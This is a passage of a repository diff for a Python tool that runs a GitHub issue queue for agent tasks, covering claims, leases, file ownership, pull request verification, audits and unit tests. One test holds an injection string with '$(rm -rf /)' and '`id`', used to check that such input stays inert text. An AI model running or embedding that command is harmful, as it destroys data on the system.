return _reply(n, "Nothing to release: the task is not claimed.")
if actor != holder and not maint:
return _reply(n, "Only the holder (%s) or a maintainer can release this claim." % holder)
return [_act(n, ["agent:ready"], ["agent:claimed", "agent:blocked", "claimed-by:" + holder],
"Released by %s; the task is back in the queue." % actor)]
if cmd == "/reassign":
if not maint:
return _reply(n, "Only a maintainer can reassign tasks.")
target = arg.split()[0].lstrip("@") if arg else ""
if not target:
return _reply(n, "Usage: /reassign <login>")
if not cfgmod.may_work_on(cfg, target, task["area"]):
return _reply(n, "Reassign refused: %s is not allowed to work on area:%s." % (quote(target), task["area"]))
if not (set(task["labels"]) & {"agent:claimed", "agent:ready"}):
return _reply(n, "Reassign refused: the task is neither ready nor claimed.")
# A reassignment creates a claim: the same dependency and file-overlap rules apply.
problem = claim_problem(dict(task, labels=task["labels"] + ["agent:ready"]), tasks, cfg, target)
if problem:
return _reply(n, "Reassign refused: %s" % problem)
remove = ["agent:ready"] + (["claimed-by:" + holder] if holder else [])
return [_act(n, ["agent:claimed", "claimed-by:" + target], remove,
"Reassigned to %s by %s. New lease starts now.\n%s" % (target, actor, L.grant_marker(n, target)))]
if cmd == "/progress":
if "agent:claimed" not in task["labels"] or actor != holder:
return _reply(n, "Only the holder of a claimed task can post progress.")
if len(arg) < 3:
return _reply(n, "Progress needs a short description of what changed, for example `/progress parser done, tests next`. Lease not renewed.")
return _reply(n, "Lease renewed: %s more hours from now." % cfg["lease_hours"])
if cmd == "/blocked":
if actor != holder and not maint:
return _reply(n, "Only the holder or a maintainer can mark a task blocked.")
if not arg:
return _reply(n, "Usage: /blocked <reason>")
return [_act(n, ["agent:blocked"], [], "Blocked by %s: %s" % (actor, quote(arg)))]
if cmd == "/unblock":
if actor != holder and not maint:
return _reply(n, "Only the holder or a maintainer can unblock a task.")
return [_act(n, [], ["agent:blocked"], "Unblocked by %s." % actor)]
if cmd == "/approve-acceptance":
if not maint:
return _reply(n, "Only a maintainer can approve an acceptance command.")
if not T.normalise_acceptance(task["acceptance"]):
return _reply(n, "No acceptance command to approve.")
digest = T.acceptance_hash(task["acceptance"])
return _reply(n, "Acceptance command approved by %s for the current text (sha256 %s). Editing the issue body invalidates this approval; nothing runs it automatically.\n%s" % (
actor, digest[:12], L.acceptance_marker(digest)))
return []
def _verified(event, state, cfg, arg):
n, actor = int(event["number"]), event["actor"]
if event.get("kind") != "pr":
return []
pr = state.get("pr") or {}
sha = verified_sha(event.get("body"))
head = pr.get("head_sha", "")
if actor == pr.get("author"):
return _reply(n, "Verification refused: the pull request author cannot verify it.")
tasks = task_index(state)
for issue in L.linked_issues(pr.get("body")):
if issue in tasks and tasks[issue]["holder"] == actor:
return _reply(n, "Verification refused: %s holds the linked task #%d." % (actor, issue))
if not cfgmod.is_verifier(cfg, actor):
return _reply(n, "%s may not verify: only maintainers and qa contributors can." % actor)
if not sha or sha != head:
return _reply(n, "Verification refused: `%s` is not the full current head %s." % (quote(sha) or "(none)", head))
# Only an accepted verification of the current head re-runs the pull request check.
return [dict(_act(n, comment="Verification of %s recorded for %s." % (head[:12], actor)), rerun_check=True)]
def rerun_check(actions):
"""True when the decided actions record an accepted verification of the current head."""
return any(a.get("rerun_check") for a in actions)
+90
View File
@@ -0,0 +1,90 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Thin gh wrapper. Arguments are always passed as lists, never through a shell."""
import json
import subprocess
def gh(*args):
r = subprocess.run(["gh"] + list(args), capture_output=True, text=True)
if r.returncode != 0:
raise RuntimeError("gh %s failed: %s" % (" ".join(args[:2]), r.stderr.strip()[:300]))
return r.stdout
def ndjson(out):
return [json.loads(l) for l in out.splitlines() if l.strip()]
def issue(repo, n):
try:
return json.loads(gh("issue", "view", str(n), "-R", repo, "--json", "number,title,body,state,labels"))
except RuntimeError:
return {"number": n, "title": "", "body": "", "state": "MISSING", "labels": []}
def comments(repo, n):
jq = '.[] | {user: .user.login, body: .body, created_at: .created_at}'
return ndjson(gh("api", "repos/%s/issues/%d/comments" % (repo, n), "--paginate", "--jq", jq))
def recent_comments(repo, since):
"""Issue and pull request comments updated since `since` (UTC ISO time), oldest first."""
jq = ('.[] | {id: .id, user: .user.login, body: .body, created_at: .created_at, '
'issue: (.issue_url | split("/") | last | tonumber), pull_request: (.html_url | test("/pull/"))}')
return ndjson(gh("api", "repos/%s/issues/comments?sort=created&direction=asc&per_page=100&since=%s" % (repo, since),
"--paginate", "--jq", jq))
def open_issues(repo):
return json.loads(gh("issue", "list", "-R", repo, "--state", "open", "--limit", "500",
"--json", "number,title,body,state,labels"))
def pr_data(repo, n):
p = json.loads(gh("pr", "view", str(n), "-R", repo, "--json", "number,author,body,headRefOid,state"))
sha = p["headRefOid"]
when = gh("api", "repos/%s/commits/%s" % (repo, sha), "--jq", ".commit.committer.date").strip()
files = gh("api", "repos/%s/pulls/%d/files" % (repo, n), "--paginate", "--jq", ".[].filename").split()
return {"number": p["number"], "author": p["author"]["login"], "body": p["body"] or "",
"head_sha": sha, "head_pushed_at": when, "files": files, "state": p["state"]}
def open_prs(repo):
nums = [p["number"] for p in json.loads(gh("pr", "list", "-R", repo, "--state", "open", "--limit", "100", "--json", "number"))]
return [pr_data(repo, n) for n in nums]
def gather(repo, with_prs=True, with_comments=True, recent_since=""):
"""State for decide/audit/summary/replay: open tasks plus any dependency issues they name and,
with `recent_since`, every comment since then."""
from .tasks import parse_task
issues = {i["number"]: i for i in open_issues(repo)}
for i in list(issues.values()):
for d in parse_task(i)["depends"]:
if d not in issues:
issues[d] = issue(repo, d)
state = {"issues": list(issues.values())}
if with_comments:
state["task_comments"] = {str(n): comments(repo, n) for n, i in issues.items()
if any((l["name"] if isinstance(l, dict) else l) == "agent:claimed" for l in i["labels"])}
if with_prs:
state["prs"] = open_prs(repo)
if recent_since:
state["recent_comments"] = recent_comments(repo, recent_since)
return state
def apply_actions(repo, actions):
for a in actions:
n = str(a["issue"])
for label in a["add_labels"]:
gh("label", "create", label, "-R", repo, "--force", "--color", "BFD4F2")
args = ["issue", "edit", n, "-R", repo]
for l in a["add_labels"]:
args += ["--add-label", l]
for l in a["remove_labels"]:
args += ["--remove-label", l]
if len(args) > 4:
gh(*args)
if a["comment"]:
gh("issue", "comment", n, "-R", repo, "--body", a["comment"])
+73
View File
@@ -0,0 +1,73 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Claim leases. Only the holder's own activity renews one; markers count only from the bot."""
import re
from datetime import timedelta
from .tasks import parse_time
BOT = ["github-actions[bot]"]
GRANT = re.compile(r"<!-- agent-queue:grant issue=(\d+) login=([A-Za-z0-9-]+) -->")
ACCEPT = re.compile(r"<!-- agent-queue:acceptance sha256=([0-9a-f]{64}) -->")
def grant_marker(issue, login):
return "<!-- agent-queue:grant issue=%d login=%s -->" % (issue, login)
def acceptance_marker(digest):
return "<!-- agent-queue:acceptance sha256=%s -->" % digest
def latest_grant(comments, issue, login, bots=BOT):
best = None
for c in comments:
if c["user"] not in bots:
continue
m = GRANT.search(c["body"])
if m and int(m.group(1)) == issue and m.group(2) == login:
t = parse_time(c["created_at"])
best = t if best is None or t > best else best
return best
def lease_start(task, comments, prs, bots=BOT):
"""Latest of grant, holder /progress comment, holder's linked PR push."""
holder, n = task["holder"], task["number"]
times = []
g = latest_grant(comments, n, holder, bots)
if g:
times.append(g)
for c in comments:
if c["user"] == holder and c["body"].lstrip().startswith("/progress"):
times.append(parse_time(c["created_at"]))
for pr in prs:
if pr["author"] == holder and n in linked_issues(pr["body"]) and pr.get("head_pushed_at"):
times.append(parse_time(pr["head_pushed_at"]))
return max(times) if times else None
def lease_end(task, comments, prs, cfg, bots=BOT):
start = lease_start(task, comments, prs, bots)
return None if start is None else start + timedelta(hours=cfg["lease_hours"])
def lapsed(task, comments, prs, cfg, now, bots=BOT):
end = lease_end(task, comments, prs, cfg, bots)
return end is not None and now > end
def linked_issues(body):
return [int(n) for n in re.findall(r"(?i)\b(?:closes|fixes|resolves)\s+#(\d+)", body or "")]
def approved_hash(comments, bots=BOT):
best, best_t = None, None
for c in comments:
if c["user"] not in bots:
continue
m = ACCEPT.search(c["body"])
if m:
t = parse_time(c["created_at"])
if best_t is None or t >= best_t:
best, best_t = m.group(1), t
return best
+78
View File
@@ -0,0 +1,78 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""File ownership patterns: exact paths, directory prefixes ("dir/") and globs ("*", "**")."""
import re
def _norm(p):
p = p.strip().replace("\\", "/")
while p.startswith("./"):
p = p[2:]
return p.lstrip("/")
def _is_glob(p):
return any(c in p for c in "*?[")
def _regex(pattern):
out, i = [], 0
while i < len(pattern):
if pattern.startswith("**/", i):
out.append("(?:.*/)?")
i += 3
elif pattern.startswith("**", i):
out.append(".*")
i += 2
elif pattern[i] == "*":
out.append("[^/]*")
i += 1
elif pattern[i] == "?":
out.append("[^/]")
i += 1
else:
out.append(re.escape(pattern[i]))
i += 1
return re.compile("^" + "".join(out) + "$")
def path_matches(path, pattern):
path, pattern = _norm(path), _norm(pattern)
if not pattern:
return False
if pattern.endswith("/"):
return path.startswith(pattern)
if _is_glob(pattern):
return bool(_regex(pattern).match(path))
return path == pattern
def _prefix(pattern):
"""Literal leading part of a pattern (the whole directory for a "dir/" pattern)."""
for i, c in enumerate(pattern):
if c in "*?[":
return pattern[:i]
return pattern
def patterns_overlap(a, b):
"""True when some path could match both patterns. Errs towards True."""
a, b = _norm(a), _norm(b)
if not a or not b:
return False
a_exact = not _is_glob(a) and not a.endswith("/")
b_exact = not _is_glob(b) and not b.endswith("/")
if a_exact:
return path_matches(a, b)
if b_exact:
return path_matches(b, a)
pa, pb = _prefix(a), _prefix(b)
return pa.startswith(pb) or pb.startswith(pa)
def sets_overlap(files_a, files_b):
"""First overlapping pair (a, b) between two pattern lists, or None."""
for a in files_a:
for b in files_b:
if patterns_overlap(a, b):
return (a, b)
return None
+49
View File
@@ -0,0 +1,49 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Pull request checks computed from data only. PR code is never fetched or run."""
from . import config as cfgmod
from . import lease as L
from .patterns import path_matches, patterns_overlap
from .decide import task_index, verified_sha
def verified_by(pr, comments, tasks, cfg):
"""Eligible verifier logins whose /verified comment names the current head SHA."""
head, out = pr.get("head_sha", ""), []
holders = {tasks[i]["holder"] for i in L.linked_issues(pr.get("body")) if i in tasks}
for c in comments:
sha, who = verified_sha(c["body"]), c["user"]
if (sha and sha == head and who != pr.get("author") and who not in holders
and cfgmod.is_verifier(cfg, who) and who not in out):
out.append(who)
return out
def check_pr(state, cfg, now):
pr, comments = state["pr"], state.get("pr_comments", [])
tasks = task_index(state)
problems = []
links = [i for i in L.linked_issues(pr.get("body")) if i in tasks]
if not links:
problems.append("no linked task: the pull request body must contain `Closes #N` for a claimed task")
for n in links:
t = tasks[n]
if "agent:claimed" not in t["labels"]:
problems.append("task #%d is not claimed" % n)
continue
if t["holder"] != pr["author"]:
problems.append("task #%d is held by %s, not the pull request author" % (n, t["holder"] or "nobody"))
outside = [f for f in pr.get("files", []) if not any(path_matches(f, p) for p in t["files"])]
if outside:
problems.append("files outside task #%d ownership: %s" % (n, ", ".join(outside[:10])))
if L.lapsed(t, state.get("task_comments", {}).get(str(n), []), [pr], cfg, now):
problems.append("task #%d claim has lapsed and the head has not been pushed within %s hours" % (n, cfg["lease_hours"]))
for other in state.get("prs", []):
if other["number"] == pr["number"]:
continue
shared = sorted(set(pr.get("files", [])) & set(other.get("files", [])))
if shared:
problems.append("overlaps open PR #%d on: %s" % (other["number"], ", ".join(shared[:10])))
ok_by = verified_by(pr, comments, tasks, cfg)
if not ok_by:
problems.append("independent verification missing: an eligible verifier must comment `/verified %s`" % pr.get("head_sha", ""))
return {"pr": pr["number"], "ok": not problems, "problems": problems, "verified_by": ok_by}
+68
View File
@@ -0,0 +1,68 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Queue-wide views: machine-readable summary and the scheduled audit."""
from . import config as cfgmod
from . import lease as L
from . import tasks as T
from .decide import quote, task_index
from .patterns import sets_overlap
def summary(state, now_iso=""):
tasks = task_index(state)
by_area, rows = {}, []
for n in sorted(tasks):
t = tasks[n]
if t["state"] != "OPEN" or not any(l.startswith("agent:") for l in t["labels"]):
continue
st = T.task_state(t)
area = t["area"] or "unset"
by_area.setdefault(area, {}).setdefault(t["priority"], {}).setdefault(st, []).append(n)
rows.append({"number": n, "title": t["title"], "area": area, "priority": t["priority"],
"state": st, "holder": t["holder"], "depends": t["depends"], "files": t["files"]})
counts = {}
for r in rows:
counts[r["state"]] = counts.get(r["state"], 0) + 1
prs = [{"number": p["number"], "author": p["author"], "head_sha": p.get("head_sha", ""),
"links": L.linked_issues(p.get("body")), "files": len(p.get("files", []))}
for p in state.get("prs", [])]
return {"generated_at": now_iso, "totals": counts, "by_area": by_area, "tasks": rows, "pull_requests": prs}
def audit(state, cfg, now):
"""Actions that lapse stale claims and mark invalid or conflicting tasks."""
tasks = task_index(state)
actions = []
cycle_nodes = {n for cyc in T.find_cycles(tasks) for n in cyc}
claimed = [t for t in tasks.values() if t["state"] == "OPEN" and "agent:claimed" in t["labels"]]
for t in sorted(claimed, key=lambda x: x["number"]):
comments = state.get("task_comments", {}).get(str(t["number"]), [])
if "agent:blocked" in t["labels"]:
continue
if L.lapsed(t, comments, state.get("prs", []), cfg, now):
actions.append({"issue": t["number"], "add_labels": ["agent:ready"],
"remove_labels": ["agent:claimed", "claimed-by:" + t["holder"]],
"comment": "Claim lapsed after %s hours without progress; the task is back in the queue." % cfg["lease_hours"]})
lapsed_nums = {a["issue"] for a in actions}
for i, a in enumerate(claimed):
for b in claimed[i + 1:]:
hit = sets_overlap(a["files"], b["files"])
if hit:
for x, y in ((a, b), (b, a)):
if "agent:conflict" not in x["labels"] and x["number"] not in lapsed_nums:
actions.append({"issue": x["number"], "add_labels": ["agent:conflict"], "remove_labels": [],
"comment": "File overlap with claimed task #%d (`%s` vs `%s`). A maintainer must resolve it." % (y["number"], quote(hit[0]), quote(hit[1]))})
for t in sorted(tasks.values(), key=lambda x: x["number"]):
if t["state"] != "OPEN" or "agent:ready" not in t["labels"]:
continue
d = T.dep_problems(t, tasks)
if d["missing"] or d["cycle"] or t["number"] in cycle_nodes:
why = ("missing dependencies %s" % d["missing"]) if d["missing"] else "dependency cycle %s" % d["cycle"]
actions.append({"issue": t["number"], "add_labels": ["agent:invalid"], "remove_labels": ["agent:ready"],
"comment": "Marked invalid: %s. Fix the Depends on field to return it to the queue." % why})
for t in sorted(tasks.values(), key=lambda x: x["number"]):
if t["state"] == "OPEN" and "agent:invalid" in t["labels"] and "agent:claimed" not in t["labels"]:
d = T.dep_problems(t, tasks)
if not d["missing"] and not d["cycle"]:
actions.append({"issue": t["number"], "add_labels": ["agent:ready"], "remove_labels": ["agent:invalid"],
"comment": "Dependencies are valid again; the task is back in the queue."})
return actions
+67
View File
@@ -0,0 +1,67 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Decides every unanswered issue command, oldest first.
Claim runs share one concurrency group. GitHub keeps one run in progress and at most one pending in
a group, and a newly queued run cancels the pending one, so the comment that started a cancelled
run would never be decided. Each run therefore decides every recent command that has no bot reply
yet, in comment order, and applies each decision's labels to its in-memory state so later commands
see earlier grants. Every reply carries a marker naming the comment it answers."""
import copy
import re
from datetime import timedelta
from . import lease as L
from .decide import decide, parse_command
from .tasks import label_names, parse_time
DONE = re.compile(r"<!-- agent-queue:done comment=(\d+) -->")
def done_marker(comment_id):
return "<!-- agent-queue:done comment=%d -->" % comment_id
def answered(comments, bots=L.BOT):
"""Ids of comments a bot reply has answered. Markers from anyone else do not count."""
return {int(m) for c in comments if c["user"] in bots for m in DONE.findall(c["body"])}
def _apply(state, action):
for i in state["issues"]:
if int(i["number"]) == action["issue"]:
names = [n for n in label_names(i) if n not in action["remove_labels"]]
names += [n for n in action["add_labels"] if n not in names]
i["labels"] = [{"name": n} for n in names]
def window_hours(cfg):
"""How far back `gather --recent-commands` reads: one lease to decide, one more to expire."""
return 2 * cfg["lease_hours"]
def replay(state, cfg, now, bots=L.BOT):
"""Actions for every unanswered command in state["recent_comments"]: decided if created within
the lease, else answered as expired so that no request goes silently unanswered."""
state = copy.deepcopy(state)
since = now - timedelta(hours=cfg["lease_hours"])
comments = state.get("recent_comments", [])
done = answered(comments, bots)
out = []
for c in sorted(comments, key=lambda c: (parse_time(c["created_at"]), c["id"])):
if c.get("pull_request") or c["id"] in done or c["user"] in bots:
continue
done.add(c["id"]) # a comment listed twice is decided once
if parse_time(c["created_at"]) < since:
if parse_command(c["body"])[0]:
out.append({"issue": c["issue"], "add_labels": [], "remove_labels": [], "comment":
"Not decided: no queue run answered this command within %s hours. Post it again if it still applies.\n%s"
% (cfg["lease_hours"], done_marker(c["id"]))})
continue
actions = decide({"kind": "issue", "number": c["issue"], "actor": c["user"], "body": c["body"]}, state, cfg)
if not actions:
continue
actions[-1]["comment"] += "\n" + done_marker(c["id"])
for a in actions:
_apply(state, a)
out.extend(actions)
return out
+143
View File
@@ -0,0 +1,143 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Parse issue-form bodies into tasks and validate dependencies. Text is data only."""
import hashlib
import re
from datetime import datetime, timezone
from . import config as cfgmod
SECTION = re.compile(r"^###\s+(.+?)\s*$", re.M)
def sections(body):
body = (body or "").replace("\r\n", "\n")
marks = list(SECTION.finditer(body))
out = {}
for i, m in enumerate(marks):
end = marks[i + 1].start() if i + 1 < len(marks) else len(body)
text = body[m.end():end].strip()
out[m.group(1).strip().lower()] = "" if text == "_No response_" else text
return out
def _lines(text):
res = []
for line in text.splitlines():
line = line.strip()
if line.startswith("```"):
continue # issue forms wrap `render:` fields in a code fence
if line.startswith(("- ", "* ")):
line = line[2:].strip()
line = line.strip("`").strip()
if line:
res.append(line)
return res
def normalise_acceptance(text):
lines = [l.strip() for l in (text or "").replace("\r\n", "\n").split("\n")]
while lines and lines[0].startswith("```"):
lines.pop(0)
while lines and lines[-1].startswith("```"):
lines.pop()
lines = [" ".join(l.split()) for l in lines if l]
return "\n".join(lines)
def acceptance_hash(text):
return hashlib.sha256(normalise_acceptance(text).encode("utf-8")).hexdigest()
def label_names(issue):
out = []
for l in issue.get("labels") or []:
out.append(l["name"] if isinstance(l, dict) else str(l))
return out
def holder_of(labels):
for l in labels:
if l.startswith("claimed-by:"):
return l[len("claimed-by:"):]
return ""
def label_value(labels, prefix):
for l in labels:
if l.startswith(prefix):
return l[len(prefix):]
return ""
def parse_task(issue):
"""Build a plain dict task from a gh issue dict {number,title,body,state,labels}."""
sec = sections(issue.get("body"))
labels = label_names(issue)
area = sec.get("area", "").strip().lower() or label_value(labels, "area:")
prio = sec.get("priority", "").strip().lower() or label_value(labels, "priority:")
return {
"number": int(issue["number"]),
"title": issue.get("title", ""),
"state": str(issue.get("state", "OPEN")).upper(),
"labels": labels,
"area": area if area in cfgmod.AREAS else "",
"priority": prio if prio in cfgmod.PRIORITIES else "medium",
"files": _lines(sec.get("files", "")),
"depends": sorted({int(n) for n in re.findall(r"#(\d+)", sec.get("depends on", ""))}),
"acceptance": sec.get("acceptance command", ""),
"interface": sec.get("interface", ""),
"holder": holder_of(labels),
}
def task_state(t):
if t["state"] != "OPEN":
return "closed"
for name in ("invalid", "conflict", "blocked", "claimed", "ready"):
if "agent:" + name in t["labels"]:
return name
return "untracked"
def parse_time(s):
return datetime.strptime(s, "%Y-%m-%dT%H:%M:%SZ").replace(tzinfo=timezone.utc)
def find_cycles(tasks):
"""Cycles among open tasks. tasks: {number: task}. Returns list of number lists."""
openset = {n for n, t in tasks.items() if t["state"] == "OPEN"}
color, stack, cycles = {}, [], []
def visit(n):
color[n] = 1
stack.append(n)
for d in tasks[n]["depends"]:
if d not in openset:
continue
if color.get(d) == 1:
cycles.append(stack[stack.index(d):] + [d])
elif d not in color:
visit(d)
stack.pop()
color[n] = 2
for n in sorted(openset):
if n not in color:
visit(n)
return cycles
def dep_problems(task, tasks):
"""Dependency problems for one task: missing, open and cyclic dependencies."""
res = {"missing": [], "open": [], "cycle": []}
for d in task["depends"]:
dep = tasks.get(d)
if dep is None or dep["state"] == "MISSING":
res["missing"].append(d)
elif dep["state"] == "OPEN":
res["open"].append(d)
for cyc in find_cycles(tasks):
if task["number"] in cyc:
res["cycle"] = cyc
break
return res
+42
View File
@@ -0,0 +1,42 @@
# SPDX-License-Identifier: GPL-3.0-or-later
import json
import os
import sys
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "..", "scripts"))
from agent_queue import config as cfgmod # noqa: E402
from agent_queue.tasks import parse_time # noqa: E402
ROOT = os.path.join(os.path.dirname(__file__), "..", "..")
CFG = cfgmod.parse(json.dumps({
"lease_hours": 24, "upstream": "o/r", "maintainers": ["maint"],
"contributors": {"maint": ["cpu", "shared", "qa"], "gpuer": ["gpu", "shared"],
"rt": ["runtime"], "qaer": ["qa"]},
}))
NOW = parse_time("2026-01-10T12:00:00Z")
def body(area="gpu", files="src/gpu/a.rs", deps="", acceptance="cargo test -p gpu", prio="high", interface=""):
return ("### Area\n\n%s\n\n### Priority\n\n%s\n\n### Goal\n\ng\n\n### Files\n\n%s\n\n### Acceptance command\n\n%s\n\n"
"### Depends on\n\n%s\n\n### Interface\n\n%s\n\n### Context\n\n_No response_\n") % (
area, prio, files, acceptance, deps or "_No response_", interface or "_No response_")
def issue(n, labels=("agent:ready",), state="OPEN", title=None, **kw):
return {"number": n, "title": title or "task %d" % n, "state": state,
"labels": [{"name": l} for l in labels], "body": body(**kw)}
def comment(user, text, at="2026-01-10T10:00:00Z"):
return {"user": user, "body": text, "created_at": at}
def state(*issues, **extra):
s = {"issues": list(issues), "prs": [], "task_comments": {}}
s.update(extra)
return s
def event(actor, text, n=1, kind="issue"):
return {"kind": kind, "number": n, "actor": actor, "body": text}
+163
View File
@@ -0,0 +1,163 @@
# SPDX-License-Identifier: GPL-3.0-or-later
import unittest
from helpers import CFG, comment, event, issue, state
from agent_queue.decide import decide, quote
from agent_queue.lease import GRANT
def one(actions):
assert len(actions) == 1, actions
return actions[0]
class Claim(unittest.TestCase):
def claim(self, st, actor="gpuer", n=1):
return one(decide(event(actor, "/claim", n), st, CFG))
def test_granted(self):
a = self.claim(state(issue(1)))
self.assertIn("claimed-by:gpuer", a["add_labels"])
self.assertIn("agent:ready", a["remove_labels"])
m = GRANT.search(a["comment"])
self.assertEqual((m.group(1), m.group(2)), ("1", "gpuer"))
def test_not_ready(self):
a = self.claim(state(issue(1, labels=("agent:claimed", "claimed-by:rt"), area="runtime")))
self.assertIn("not claimable", a["comment"])
self.assertEqual(a["add_labels"], [])
def test_wrong_area(self):
a = self.claim(state(issue(1, area="cpu")))
self.assertIn("not allowed", a["comment"])
self.assertEqual(a["add_labels"], [])
def test_maintainer_any_area(self):
a = self.claim(state(issue(1, area="gpu")), actor="maint")
self.assertIn("claimed-by:maint", a["add_labels"])
def test_open_dependency(self):
a = self.claim(state(issue(1, deps="#2"), issue(2, labels=())))
self.assertIn("open dependencies: #2", a["comment"])
def test_closed_dependency_ok(self):
a = self.claim(state(issue(1, deps="#2"), issue(2, labels=(), state="CLOSED")))
self.assertIn("agent:claimed", a["add_labels"])
def test_missing_dependency(self):
a = self.claim(state(issue(1, deps="#9")))
self.assertIn("not found: #9", a["comment"])
def test_cycle(self):
a = self.claim(state(issue(1, deps="#2"), issue(2, deps="#1", files="other/")))
self.assertIn("cycle", a["comment"])
def test_overlap_named(self):
held = issue(2, labels=("agent:claimed", "claimed-by:rt"), area="runtime", files="src/gpu/")
a = self.claim(state(issue(1, files="src/gpu/a.rs"), held))
self.assertIn("overlap with claimed task #2", a["comment"])
self.assertEqual(a["add_labels"], [])
def test_unclaimed_overlap_allowed(self):
a = self.claim(state(issue(1, files="src/gpu/a.rs"), issue(2, files="src/gpu/")))
self.assertIn("agent:claimed", a["add_labels"])
def test_non_command_ignored(self):
self.assertEqual(decide(event("gpuer", "thanks /claim later"), state(issue(1)), CFG), [])
class Lifecycle(unittest.TestCase):
held = ("agent:claimed", "claimed-by:gpuer")
def run_cmd(self, actor, text, labels=held, **kw):
return decide(event(actor, text), state(issue(1, labels=labels, **kw)), CFG)
def test_release_holder_and_maintainer(self):
for who in ("gpuer", "maint"):
a = one(self.run_cmd(who, "/release"))
self.assertIn("agent:ready", a["add_labels"])
self.assertIn("claimed-by:gpuer", a["remove_labels"])
def test_release_other_refused(self):
a = one(self.run_cmd("rt", "/release"))
self.assertEqual(a["add_labels"], [])
self.assertIn("Only the holder", a["comment"])
def test_reassign(self):
a = one(self.run_cmd("maint", "/reassign rt", area="runtime"))
self.assertIn("claimed-by:rt", a["add_labels"])
self.assertIn("claimed-by:gpuer", a["remove_labels"])
self.assertIn("login=rt", a["comment"])
def test_reassign_refusals(self):
self.assertIn("Only a maintainer", one(self.run_cmd("gpuer", "/reassign rt", area="runtime"))["comment"])
self.assertIn("not allowed", one(self.run_cmd("maint", "/reassign rt"))["comment"])
def test_progress_holder_only_and_needs_text(self):
self.assertIn("renewed", one(self.run_cmd("gpuer", "/progress parser done"))["comment"])
self.assertIn("Only the holder", one(self.run_cmd("rt", "/progress parser done"))["comment"])
self.assertIn("not renewed", one(self.run_cmd("gpuer", "/progress"))["comment"])
def test_blocked_unblock(self):
a = one(self.run_cmd("gpuer", "/blocked waiting on #5"))
self.assertEqual(a["add_labels"], ["agent:blocked"])
self.assertEqual(one(self.run_cmd("rt", "/blocked x"))["add_labels"], [])
self.assertEqual(one(self.run_cmd("maint", "/unblock", labels=self.held + ("agent:blocked",)))["remove_labels"], ["agent:blocked"])
def test_approve_acceptance_maintainer_only(self):
a = one(self.run_cmd("maint", "/approve-acceptance"))
self.assertIn("agent-queue:acceptance sha256=", a["comment"])
self.assertNotIn("agent-queue:acceptance", one(self.run_cmd("gpuer", "/approve-acceptance"))["comment"])
class Inert(unittest.TestCase):
def test_metacharacters_stay_data(self):
evil = "x`id`; $(rm -rf /) | \"'"
a = decide(event("gpuer", "/claim " + evil), state(issue(1, files=evil + "\nsrc/gpu/a.rs", acceptance=evil)), CFG)
self.assertEqual(len(a), 1)
out = decide(event("maint", "/blocked " + evil), state(issue(1, labels=("agent:claimed", "claimed-by:gpuer"))), CFG)
self.assertIn(quote(evil), one(out)["comment"])
self.assertEqual(one(out)["add_labels"], ["agent:blocked"])
class ReassignChecks(unittest.TestCase):
def test_reassign_cannot_create_an_overlapping_or_blocked_claim(self):
held = issue(1, labels=("agent:claimed", "claimed-by:maint"))
a = one(decide(event("maint", "/reassign gpuer", 2), state(held, issue(2)), CFG))
self.assertIn("file overlap with claimed task #1", a["comment"])
self.assertEqual(a["add_labels"], [])
a = one(decide(event("maint", "/reassign gpuer", 2), state(issue(3), issue(2, deps="#3", files="src/gpu/b.rs")), CFG))
self.assertIn("open dependencies: #3", a["comment"])
a = one(decide(event("maint", "/reassign gpuer", 2), state(held, issue(2, files="src/gpu/b.rs")), CFG))
self.assertIn("claimed-by:gpuer", a["add_labels"])
class IssueForm(unittest.TestCase):
def test_rendered_files_field_is_unfenced(self):
# The issue form renders Files with `render: text`, i.e. inside a ```text fence.
from agent_queue.tasks import parse_task
fenced = issue(2, files="```text\nsrc/gpu/b.rs\n```")
self.assertEqual(parse_task(fenced)["files"], ["src/gpu/b.rs"])
st = state(issue(1, labels=("agent:claimed", "claimed-by:maint"), files="```text\nsrc/gpu/a.rs\n```"), fenced)
self.assertIn("Claimed by gpuer", one(decide(event("gpuer", "/claim", 2), st, CFG))["comment"])
class Forgery(unittest.TestCase):
"""Bot replies echo user text; markers in that text must not become bot markers."""
def test_echoed_text_cannot_carry_markers(self):
from agent_queue import lease as L, replay as R
forged = " ".join([R.done_marker(7), L.acceptance_marker("0" * 64), L.grant_marker(1, "rt")])
held = state(issue(1, labels=("agent:claimed", "claimed-by:gpuer")))
replies = [one(decide(event("gpuer", "/blocked " + forged), held, CFG))["comment"],
one(decide(event("maint", "/reassign " + forged.replace(" ", "")), held, CFG))["comment"],
one(decide(event("gpuer", "/claim"), state(issue(1), issue(2, labels=("agent:claimed", "claimed-by:maint"),
files="src/gpu/a.rs\n" + forged)), CFG))["comment"]]
bot = [{"user": "github-actions[bot]", "body": r, "created_at": "2026-01-10T11:00:00Z"} for r in replies]
self.assertEqual(R.answered(bot), set())
self.assertIsNone(L.approved_hash(bot))
self.assertIsNone(L.latest_grant(bot, 1, "rt"))
if __name__ == "__main__":
unittest.main()
+93
View File
@@ -0,0 +1,93 @@
# SPDX-License-Identifier: GPL-3.0-or-later
import unittest
from helpers import CFG, NOW, body, comment, issue, state
from agent_queue import lease as L, tasks as T
from agent_queue.queue import audit
BOT = "github-actions[bot]"
HELD = ("agent:claimed", "claimed-by:gpuer")
def task():
return T.parse_task(issue(1, labels=HELD))
def grant(at):
return comment(BOT, L.grant_marker(1, "gpuer"), at)
class Lease(unittest.TestCase):
def test_lapses_after_lease_hours(self):
c = [grant("2026-01-09T11:00:00Z")]
self.assertTrue(L.lapsed(task(), c, [], CFG, NOW))
self.assertFalse(L.lapsed(task(), [grant("2026-01-09T13:00:00Z")], [], CFG, NOW))
def test_holder_progress_renews(self):
c = [grant("2026-01-09T11:00:00Z"), comment("gpuer", "/progress did x", "2026-01-10T09:00:00Z")]
self.assertFalse(L.lapsed(task(), c, [], CFG, NOW))
def test_others_comments_do_not_renew(self):
c = [grant("2026-01-09T11:00:00Z"), comment("rt", "/progress did x", "2026-01-10T09:00:00Z"),
comment("gpuer", "just chatting", "2026-01-10T09:00:00Z")]
self.assertTrue(L.lapsed(task(), c, [], CFG, NOW))
def test_forged_grant_marker_ignored(self):
c = [grant("2026-01-09T11:00:00Z"), comment("rt", L.grant_marker(1, "gpuer"), "2026-01-10T11:00:00Z")]
